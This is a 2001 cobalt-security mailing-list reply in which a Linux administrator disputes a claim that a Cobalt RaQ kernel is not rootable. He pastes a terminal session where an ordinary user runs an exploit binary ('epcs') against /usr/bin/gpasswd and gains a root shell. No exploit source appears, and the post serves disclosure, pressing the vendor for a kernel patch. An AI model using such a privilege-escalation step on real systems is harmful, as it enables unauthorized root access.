On Thu, Apr 26, 2001 at 11:05:21AM -0700, shimi wrote:
> If you'll read what's posted in the download page, they said the bugs of
> the ptrace() and sysctl() functions have been fixed there. If Cobalt
> keeps their former way of deploying Linux, they manually twaeak the kernel
> to fit to what they need... so... it's not rootable.
If its not rootable, may I have a shell on your box then?
small example (again)
<dennis@dedicated:dennis> uname -r
2.2.16C24_III
<dennis@dedicated:dennis> id
uid=180(dennis) gid=100(users) groups=100(users),10(wheel),111(site-adm),112(site1)
<dennis@dedicated:dennis> ./epcs /usr/bin/gpasswd
bug exploited successfully.
enjoy!
bash# id
uid=0(root) gid=0(root) groups=100(users),10(wheel),111(site-adm),112(site1)
bash#
bash# cat /proc/cpuinfo | grep system
system type : RaQ3/4
HTH HAND and give us a real kernel upgrade / patch!
--
Met vriendelijke groeten,
Dennis Koster
Linux Systeem Beheerder
VuurWerk Internet
_____________________________________________________________________
Richard Holkade 20 Verkoop/billing: [EMAIL PROTECTED]
2033 PZ Haarlem Storingsmeldingen: [EMAIL PROTECTED]
tel.: 023-5111111 Technische vragen: [EMAIL PROTECTED]
fax.: 023-5111115 VuurWerk website: www.vuurwerk.nl
_____________________________________________________________________
"Multiple exclaimation marks are a sure sign of a deranged mind."
_______________________________________________
cobalt-security mailing list
[EMAIL PROTECTED]
http://list.cobalt.com/mailman/listinfo/cobalt-security